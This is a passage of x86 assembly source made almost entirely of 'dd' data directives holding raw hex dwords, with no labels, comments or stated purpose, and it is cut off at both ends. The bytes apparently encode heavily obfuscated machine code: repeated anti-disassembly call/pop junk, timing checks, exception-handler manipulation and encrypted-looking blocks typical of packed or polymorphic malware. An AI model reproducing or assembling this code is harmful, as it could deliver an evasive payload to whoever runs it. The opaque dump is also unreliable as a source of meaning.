15358D8Bh, 0C08B0648h, 68C0Fh dd 0B58B0000h, 6480A0Dh, 848E8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E6816645h dd 858943E5h, 6480C39h, 2B95B529h, 16E80648h, 6A000008h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 94B4C350h, 7EC397D1h, 8589382Bh, 6480F1Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 70C35343h dd 0E181E011h, 10322EF0h, 7C4E8h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0B383C90Ch dd 0D1EA2B20h, 0BD8B4CADh, 6481AD5h, 1A1D8589h, 0F9530648h dd 78BE85Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0FCE0D4C3h, 858954B1h, 64827D9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BC35343h dd 0B33BDE09h, 0D8F65FF8h, 73BE83Dh, 8D030000h, 6482821h dd 0D3D8589h, 95290648h, 6481B59h, 1AF1BD0Bh, 1EE80648h dd 0F000007h, 685h, 0C58D8B00h, 0E9064826h, 10h, 43471AB9h dd 37186A79h, 39BEC817h, 1F562E46h, 9158589h, 51600648h dd 565F8FB5h, 1C39952Bh, 615A0648h, 6E4E8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0D93380AEh, 8589AD67h, 6481221h, 9E9h, 65519400h, 0EF31AA70h dd 0AAE86461h, 0F000006h, 8589F2B7h, 6481BD5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D2C35646h, 8B2D3B60h dd 482AB1B5h, 677E806h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0F195C6C3h, 0FE6C1BAh dd 384h, 0CA8B6600h, 6FD8589h, 0BD890648h, 6480649h, 63CE8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F1816657h, 9E8E7A5h, 0DB000000h, 34E09C52h dd 0C918BC96h, 0D7816659h, 858993CDh, 6482FB5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 28C35747h, 7405F024h dd 0FC655B5Ch, 5D8E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0AE46B9BFh, 0A4DB503h dd 85890648h, 6480C99h, 2299D29h, 0A2E80648h, 66000005h dd 66732BBFh, 8589F08Bh, 6480E25h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 10C35343h, 118BD202h, 8166E689h dd 0E89AFEE1h, 569h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0F3C35040h, 0FB8F8E04h, 0CF1B589h, 85890648h dd 6481B71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 9FC35747h, 0BABDA9CAh, 1F202785h, 9E8B6h, 856A0000h dd 0C4C50617h, 0FF167BDh, 0E85EF3BFh, 501h, 0CCD8D89h dd 85890648h, 64817B5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0A3C35747h, 76C22E1h, 0A8844ECh, 14759529h dd 0BD090648h, 64801ADh, 4C0E8h, 1BD2300h, 89064831h, 48283D85h dd 0AAF18006h, 0AAE8C88Bh, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 351DC357h dd 318D01A1h, 8906482Fh, 48184D85h, 318D8B06h, 0E8064808h dd 5, 58EFB22Ah, 2840F1Dh, 0B1000000h, 0B05E37h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 53C35545h, 4069EE1Dh dd 6E9FDh, 0C6840000h, 0F6E873B2h, 6AD8B60Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 5D7EC357h, 0A1A795C4h, 0BA526115h, 8800Fh, 29600000h dd 480DC985h, 6BA6106h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 84C8C351h dd 28D0Fh, 0F28B0000h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A553F1C3h, 0BD8B6C33h dd 6481BF1h, 89F38160h, 8B1182D7h, 481AA995h, 0E8C16106h dd 15BD8B04h, 6606480Dh, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 6D8F10C3h, 0B0C9DB11h dd 23D82B29h, 480CB5B5h, 50605006h, 0F54B152h, 10E831h dd 0F3150000h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 5A5B663Dh dd 1C896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0E0AB889Bh, 0AEE44C6Dh, 95FFF97Bh dd 64828F1h, 23F5E181h, 6A5B47EDh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 96E1C351h dd 2810Fh, 34B10000h, 8DFEBF0Fh, 480CA995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 6BF5804Eh, 0DF58B966h, 6A1A89h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 87C59BC3h, 0E781669Dh dd 4289087Eh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0A352A0A2h, 0E86E473Fh, 13h, 5576D0E4h dd 8B7E2339h, 176140DDh, 86A14642h, 898153EDh, 48270D9Dh dd 8DF55906h, 4819A995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 89E2DE5Eh, 480DC18Dh dd 6A1A8906h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0DB95C356h, 7782F18Dh, 8B896B86h dd 480515BDh, 4428906h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 9AC35040h, 45958D2Eh, 60064817h, 1B118509h dd 858B0648h, 6483139h, 68F0F61h, 8B000000h, 480545B5h dd 891A8906h, 4829758Dh, 4428906h, 7E8h, 0BD820700h, 0FA1D8745h dd 3189B589h, 8D590648h, 480AC995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 59268F03h dd 0FA2EAE2h, 1A89CBB7h, 435BD8Bh, 42890648h, 14E904h dd 60900000h, 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 60B7341Fh dd 958D6BF6h, 6481771h, 66CAB70Fh, 6432CF81h, 6A1A89h dd 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 897553C3h, 3BBE0442h, 8D5E5F9Ah, 4811E995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0FF4C8E83h, 5BF03AFCh, 459D29A9h, 2B06481Ch, 480EA9BDh dd 891A8906h, 480F3D8Dh, 4428906h, 3021B523h, 958D0648h dd 6482A61h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 5CC35141h, 759D8950h, 89064816h, 53006A1Ah, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 64E49242h, 0F3BD38D4h, 0BD8B6493h, 6481AA9h, 6A044289h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 128CC351h, 0F45CB6Fh, 481h, 0C0BF6600h, 69958D38h dd 52064813h, 5AD98166h, 1A8959ADh, 0FAC78166h, 4428960h dd 58C0Fh, 43B90000h, 0E93003F6h, 103h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 4AC35646h, 0F890Fh dd 0AE90000h, 0F4000000h, 7C9CAE3Fh, 3A125976h, 6A006AB6h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0B2F5C356h, 3104AC40h, 896A7FA1h, 482F8995h dd 57006A06h, 8D0F60h, 8B000000h, 815F61F7h, 627D0FD7h dd 6A006A0Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 374AC350h, 850F13D9h, 5, 44D18166h dd 2B006AE0h, 480E918Dh, 0E995FF06h, 0E9064812h, 0Eh, 0DB2E454Ah dd 4D5C062Ch, 7A38CB44h, 14E8C21Bh, 0AA000000h, 6DBAD566h dd 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h, 0F5EBA8Ch, 0C359F9B7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D5C35545h dd 0FFEF2F45h, 158D8B79h, 8A064808h, 51006AC5h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 85090E9Fh dd 6480919h, 0F180C08Bh, 99BD83B0h, 64812h, 0BD830975h dd 6480D35h, 50197400h, 0B8C08B53h, 438h, 2FF98589h, 9D8D0648h dd 64AA4CBh, 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h dd 438h, 2FF98589h, 9D8D0648h, 64AA16Ch, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 9BC35747h, 33E8C68Ah dd 8B661F21h, 18D8BF3h, 8B064816h, 55858DC0h, 6A064812h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 2ACEC356h, 2ABA40B0h, 0BF66C264h, 0BF50659Bh dd 5F01AC46h, 6A240489h, 18C0F00h, 0FC000000h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 1525DFC3h, 0EE80Dh, 0E15F0000h, 0E36EB5C6h, 0F2896510h dd 0DECCF514h, 58A0Fh, 0BABB0000h, 5F467F48h, 8DDA8B66h dd 4C331285h, 0CDBD8B06h, 8B064807h, 483309BDh, 5C08306h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E3C35141h dd 0FE38BFD0h, 182E380h, 3371BD29h, 0BD8B0648h, 6481385h dd 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 93C35747h, 91C19F0Ah, 0B0039711h, 6AF903h, 54D9D2Bh dd 6A0648h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 94C35242h, 66F557E2h, 630FCF81h, 2B2D95FFh, 0E9600648h dd 7, 0D73CA4E3h, 0E90D02ADh, 0Dh, 666597B3h, 37C6439Eh dd 0BBA26105h, 8D8D6194h, 64B9938h, 1CB9BD8Bh, 0D1FF0648h dd 83D9B70Fh, 4830E5BDh, 850F0106h, 0ABh, 18D0157h, 5B064833h dd 0BF0F026Ah, 525090DAh, 12E95250h, 3C000000h, 3E6C0B1Eh dd 3E7C8A6h, 21A6D9C0h, 4731F214h, 5A310FE0h, 6A905F58h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 542EC356h, 81213D38h, 0E99D2B1Bh, 0FF06482Eh dd 48005195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 13E95389h, 4A000000h, 816C2454h dd 0C07292B8h, 3888923Eh, 41D8AA91h, 665B07CBh, 0E83C4ABBh dd 0Bh, 3FAADE96h, 3EE7BD44h, 66D7FA0Fh, 0E95FF88Bh, 0F6Fh dd 0E8h, 0ED815D00h, 64C331Ch, 2FFD9D8Bh, 0B5890648h, 64828C9h dd 93DA858Dh, 0BD8B064Bh, 64827C1h, 0F50FA8Ah, 286h, 89FE8B00h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 4FE862C3h, 255B1C1Ch, 2C018589h, 8D290648h dd 6480D31h, 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0C34DC355h, 1BA4E0ECh dd 0BFF38944h, 0BD8BF860h, 64815DDh, 25896461h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F2C35343h dd 0B50A61DDh, 620BF66h, 1AD185FFh, 0BD8B0648h, 64801FDh dd 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 435AFCC3h, 6630C622h, 0B5FFDE8Bh, 6480C39h dd 2800Fh, 0D88A0000h, 10D995FFh, 68E90648h, 80000001h dd 0B0CFE3h, 12810Fh, 0CE80000h, 0B4000000h, 0D512A2EEh dd 76430E8Eh, 5F5C8816h, 0FE870E6h, 0D5000000h, 606FE1C6h dd 84C0F8FEh, 97356337h, 95899107h, 6482375h, 6071E45Bh dd 0AE8h, 0F706A900h, 1D90C27Bh, 31F5481Dh, 482EB595h dd 0BD895806h, 64808EDh, 0F613C61h, 10683h, 0AEE78000h dd 81C8B60Fh, 74A80ECFh, 12E963h, 0B0E80000h, 8CD0FA7Eh dd 0E0A71E00h, 30E34E49h, 7CDDCFF1h, 6BAh, 25BD8900h, 8B064813h dd 0C5BD8BC1h, 0E8064810h, 0Eh, 0E7B13378h, 0AC2C6962h dd 98037F50h, 0B70FD268h, 0E8C15BDAh, 12E904h, 1F590000h dd 5A5FACC9h, 287C6E44h, 0A8541EEFh, 70B744E9h, 0E9E2F766h dd 8, 514B3A79h, 0F9CDB8D2h, 0F781C82Bh, 63EEA012h, 0B6BBD18Bh dd 0E9000C0Ch, 6, 1741B589h, 858B0648h, 6480CA9h, 5E99D89h dd 0F3810648h, 4ABE9F6Bh, 8907C083h, 4804A985h, 0C08306h dd 4B59D31h, 0D03B0648h, 11830Fh, 0BD8B0000h, 6482C05h dd 3EE9h, 0F1BD8B00h, 8B06482Eh, 4830798Dh, 0DB805606h dd 0E1835B34h, 24840F01h, 8B000000h, 4800999Dh, 79A58306h dd 0FE064830h, 0CCD8D89h, 95890648h, 6480CA9h, 0FAD2EF81h dd 0E90999h, 8D000000h, 4BCD7BB5h, 219D3306h, 6A064833h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 9D292461h, 6480A4Dh, 92D95FFh, 6A0648h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 56CFD9C3h, 6860Fh, 95090000h, 6482A49h, 6DAB95Bh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0F8EEAAC3h, 70374B50h, 0FC72D6Ch, 686h, 4DBD8B00h, 60064816h dd 3C5BD89h, 9D310648h, 6481601h, 0FCE18361h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3FC35646h, 1A320D8Dh dd 2957B382h, 4820019Dh, 8509FC06h, 6480A05h, 0B8h, 759D8B00h dd 0BA064812h, 0 dd 4AD9D29h, 33AD0648h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0FBC055C3h, 10E91Bh, 0E9250000h, 0C212715Fh, 230DE401h dd 9B6C16F2h, 0BD314832h, 6480D75h, 880Dh, 0AFC38100h dd 8B6379E7h, 482365BDh, 5958B06h, 6A064814h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0A9C8C353h, 0F7CE203h, 8166FFBFh, 8BE5CECBh, 4830258Dh dd 50DE8B06h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0F48589DEh, 0B5892AEFh, 6482895h, 0BE9h dd 0DDC06700h, 0C513F8F7h, 0F24CB34Fh, 1466EB81h, 0BD836CFBh dd 64812FDh, 8E840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 43F7C357h dd 106324A9h, 21BD8BE5h, 0B806481Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h dd 0FBCED08Ch, 31EA1419h, 48087595h, 808D8D06h, 306484Eh dd 480D81BDh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 85F4C355h, 8CBFA1B1h dd 167836Ch, 481BA99Dh, 0D9BD8306h, 6482Ah, 577840Fh, 0F8560000h dd 51B5895Fh, 8306480Eh, 482AD9BDh, 840F0106h, 57Ch, 0C21799BFh dd 0D9BD834Ah, 306482Ah, 534860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4FC60BC3h dd 51BDF6AAh, 8166EEECh, 609548D3h, 0D98C66F9h, 0CE9h dd 0B434AE00h, 0FF587185h, 30ECF368h, 4E18060h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0CAC35747h, 8152DE4Eh dd 0EB16AB26h, 29FE8B66h, 481831B5h, 0FC90A06h, 1DD84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0C78221CCh, 0E8191F69h, 0Ah, 10568921h dd 151AB71Eh, 0BF66850Ch, 8B5FE909h, 48115985h, 29BD2B06h dd 3306480Bh, 48121985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 87A43C23h, 0EC8224C2h dd 8B0FB931h, 6, 1BE58529h, 89510648h, 481A4D9Dh, 66505B06h dd 489DA8Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 712407F4h, 6A66DF80h, 0E9BD8B00h dd 80064808h, 4E88DD7h, 0FF000000h, 50001F03h, 505FF98Bh dd 0DE9h, 927C5800h, 17F7426Eh, 83F80788h, 448BC510h, 8E90424h dd 8F000000h, 0D998FA76h, 8BE1140Eh, 0DE800h, 4D220000h dd 0B2D835BAh, 7F094A25h, 5B71ECC2h, 4244489h, 4840Fh dd 0BB660000h, 6A586056h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 233BC356h, 25AC0F00h dd 0FFA9DC4h, 685h, 0F98D8900h, 0E9064807h, 0Bh, 3C74251Ch dd 629BBC07h, 0FF0F2415h, 48074195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0D7001B30h dd 0B5894651h, 6480AB9h, 0FE852h, 4CE50000h, 1FE4AB1Ch dd 80185DEAh, 976CD27Dh, 9DB589F4h, 5B06482Eh, 8985895Fh dd 6A064BB6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3E1CC353h, 46BFBED6h, 790872BFh dd 280E967h, 13E90000h, 8B000000h, 2AB5BACDh, 35B1B175h dd 66A0362Dh, 17CBD23h, 858B761Eh, 64BB681h, 0F8D98B66h dd 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0CB2621C3h, 2C900B02h, 0F8DFBF0Fh dd 0B685B58Bh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 22BF7AC3h, 9D8E62EAh, 0BBF1C780h dd 2F92CA14h, 1A85858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0D7D840C3h, 0B4BBF3D9h dd 0E818E974h, 0Bh, 5CFDE800h, 0F8C4BA72h, 0FB2C0D6h, 68Dh dd 0D5958900h, 5B064819h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 9B3656C3h, 89D6530Ch dd 480925B5h, 59858B06h, 8B064811h, 480AF19Dh, 4468906h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h dd 0C01EC377h, 0E975522Ah, 24348950h, 14359509h, 9D230648h dd 6480FDDh, 0B681B5FFh, 8D89064Bh, 6483011h, 4E8h, 1F03FF00h dd 49BB6600h, 0CE850B3h, 64000000h, 2F16C7A9h, 0DBCAC1B6h dd 607B6B88h, 890F6160h, 0 dd 448B5B61h, 66600424h, 8B61DA8Bh, 9E800h, 0D77F0000h dd 0B40E39B6h, 0E9F3CFE7h, 13h, 0C8FFF853h, 0DF23E896h dd 0E11A6BD9h, 2980847Bh, 5F78727Ah, 4244489h, 18820Fh dd 13E90000h, 0E1000000h, 30858DA7h, 1F57BC63h, 17400367h dd 0D891D65Bh, 6A583C4Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 567DC356h, 331ADB6Ch dd 4833399Dh, 89858D06h, 6A064BB6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2A1BC352h dd 950265FBh, 0E9CEBD15h, 0Ch, 0D2C80BDAh, 2910D709h, 0A9B4686Ah dd 7E850h, 45F60000h, 0C502B502h, 27C7BB98h, 895B3484h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 214B6AC3h, 0F5A89047h, 74195FFh, 6A0648h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 267091C3h, 0BB66EB94h, 6A619BBFh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 49C2C351h dd 0E9626758h, 0B395C7FEh, 0D985C774h, 306482Ah, 66000000h dd 0D8A8E781h, 0B689BD83h, 0F00064Bh, 3584h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 5CFB2324h, 2F55BD8Bh, 81660648h, 0E958CFDBh, 21h, 22D59D8Bh dd 30500648h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0CF8166FFh, 6A093Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B8F96C3h dd 4829E59Dh, 0D9BD8306h, 306482Ah, 432850Fh, 0B5890000h dd 64817F5h, 0B689BD83h, 0F00064Bh, 41F84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 89B5FFAAh, 6A064BB6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0DC1EC350h, 32A81717h dd 1555BD8Bh, 0FFFC0648h, 4809F595h, 0DD853106h, 8B064812h dd 4BB67DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E87F3C8Ch, 0Bh, 0B2DC8BCh, 89BB8DD5h dd 17CF378h, 482F1585h, 6C75B06h, 10001h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 50C35646h, 0C1DF1BBDh dd 0D0733AD1h, 0E9606050h, 14h, 2981DFDBh, 0A8AA4129h dd 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h, 310F5250h, 6061585Ah dd 11E9h, 3E54F400h, 2D55C2DEh, 0C163A3D6h, 113154EDh dd 61616637h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 79BCC357h, 3D5ED17Dh dd 0EB5558F7h, 0B689B5FFh, 95FF064Bh, 6480061h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5AC35646h, 5D51DC00h dd 9995894Dh, 8B064832h, 4BB67DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D749429h dd 0ADBD2933h, 8B064827h, 480F2585h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0E381664Ah dd 86891E8Fh, 0C4h, 1405958Bh, 0C2830648h, 9D8B6004h, 6480329h dd 51858957h, 5B064809h, 20508961h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 1CC35343h, 8DB89136h, 4BCAD485h dd 0DABF0F06h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0BCB4CDC3h, 0B36B80B6h dd 6A84DEA8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0E1186478h, 0A081C409h, 598529FBh dd 6606482Eh, 0EF81D98Bh, 6E69B5h, 0B689B5FFh, 0F60064Bh dd 38Ah, 0CFBF0F00h, 616FF480h, 5195FFh, 6A0648h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 89E95FC3h, 482EF985h, 0ADBD0B06h, 5006480Bh, 0B3243489h dd 21B58907h, 0FF064820h, 4BB689B5h, 60DE8B06h, 2BB99589h dd 8D8B0648h, 64808E1h, 2995FF61h, 6A064814h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 6B57C357h, 81DEEF68h, 0A9BD833Ah, 64831h, 48840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0FAAB2AC3h, 0EDCE77Bh, 50DCF2C1h, 6E5466BFh, 24348951h dd 2FB9BD8Bh, 0E9570648h, 0Dh, 0B6730097h, 17783EDh, 66353047h dd 0B5FF5FEEh, 64BB689h, 9E9h, 3F2D7400h, 7E67D461h, 0DA8B29E7h dd 13FD95FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B5FFC7C3h, 64BB689h, 5870Fh, 81660000h dd 0FF148DCBh, 48177D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8C0F3F69h dd 2, 7DBBFB8Bh, 832B0999h, 482F1DBDh, 840F0206h, 58h dd 1551858Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 9ADCB3C3h, 4B98ECBBh, 0C627A5FFh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 3E6605C3h, 0D1D80F8h, 8589E2C2h, 64821DDh dd 16E185C7h, 648h, 95290000h, 648239Dh, 0FFF1AFE9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0AC8C1C9Fh, 1C5352B0h, 8589B4E0h, 648320Dh, 6AC18Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0EA2C7FC3h, 0F8EC1B4Ch, 8D1747AEh, 48125585h, 4751BF06h dd 89500E87h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0A788B7C3h, 44BFE93Ah, 6A3368FCh dd 919D2900h, 6A064808h, 0D4858D00h, 6A064C43h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 8EB0C356h, 79A4CE83h, 0CD9D0155h, 83064830h, 0BB6605C0h dd 669044C6h, 50CDFDBBh, 38BB2BBFh, 8E99061h, 9F000000h dd 77081090h, 6AD20A6Ch, 0E9006A00h, 0Ah, 1CC3BD48h, 6096B030h dd 95FFC79Fh, 6482B2Dh, 0BE9h, 40ABA800h, 4DED302Fh, 0A506F7ABh dd 99388D8Dh, 8E0F064Bh, 1, 6AD1FFF8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 780AC350h dd 0A72B5B7Ah, 0E5BD8367h, 1064830h, 5B850Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 7941F6C3h, 0BD8B026Ah, 6480FDDh, 0E8D0F60h, 0E9000000h dd 9, 0DEEE78DEh, 0B45283F2h, 219509ABh, 61064820h, 24048950h dd 0EFEDBF66h, 5195FFh dd 36BB0648h, 8937B262h, 480BB98Dh, 0F19E906h, 0E80000h dd 5D000000h, 43DEED81h, 6A064Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0A9859CC3h, 6820FC6h dd 89000000h, 480C2585h, 99858906h, 0E906482Ah, 0Eh, 7BF01AB8h dd 10747925h, 0F05CD6Ch, 858D5FDBh, 64B93DAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0D2C35242h, 37DB2776h dd 5390F900h, 6810Fh, 52500000h, 585A310Fh, 0E1B7505Fh dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 2790CC47h, 0CF81C285h, 20E2A1F6h, 2F69B589h dd 0FF640648h, 35h, 0D18D2900h, 6406482Fh, 2589h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 77C18DC3h, 0F8AA31FFh, 0D185FFCCh, 6A06481Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 1FA0C351h, 0C78AA236h, 9D10EB21h, 0D58D0156h, 5F064829h dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 